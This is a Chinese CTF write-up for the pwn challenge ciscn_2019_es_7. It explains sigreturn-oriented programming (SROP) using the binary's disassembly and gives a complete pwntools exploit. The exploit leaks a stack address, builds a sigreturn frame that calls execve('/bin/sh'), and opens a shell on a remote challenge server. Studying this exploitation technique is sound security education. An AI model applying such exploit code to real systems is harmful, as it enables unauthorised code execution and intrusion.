ciscn_2019_es_7

SROP,甚至比CTFWIKI上的例题简单。

程序分析

1
2
3
4
5
6
7
8
9
10
11
12
13
push    rbp
mov rbp, rsp
xor rax, rax
mov edx, 400h ; count
lea rsi, [rsp+buf] ; buf
mov rdi, rax ; fd
syscall ; LINUX - sys_read
mov rax, 1
mov edx, 30h ; count
lea rsi, [rsp+buf] ; buf
mov rdi, rax ; fd
syscall ; LINUX - sys_write
retn

调用syscall read&write,之后直接retn。

同时给了两个gadget,方便修改rax为相应的系统调用号。

1
2
3
4
mov     rax, 0Fh   //constants.SYS_sigreturn
retn
mov rax, 3Bh //constants.SYS_execve
retn

CTFWIKI上的例题只给了read调用,write调用还需要自己巧妙构造,这里直接可以leak出stack地址,然后就照着CTFWIKI上的脚本稍微改一改就行了。也可以直接手动找gadgets把参数传好,然后利用mov rax, 3Bh syscall执行execve(“/bin/sh”,0,0),不过感觉找gadgets比上CTFWIKI麻烦2333

EXP

1
#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
#sh=process("./ciscn_2019_es_7.dms")
context.arch='amd64'
sh=remote("f.buuoj.cn",20179)
syscall_ret=0x400517
read=0x4004f1
movrax_sigreturn=0x4004da
movrax_system=0x4004E2
sh.send("/bin/sh"+"\x00"*9+p64(read))
sh.recv(32)
stack_addr=u64(sh.recv(8))
log.success("stack: "+hex(stack_addr))
sh.recv(8)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr - 280  # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
sh.send("/bin/sh"+"\x00"*9+p64(movrax_sigreturn)+p64(syscall_ret)+str(sigframe))
sh.interactive()
文章目录
  1. 1. 程序分析
  2. 2. EXP
|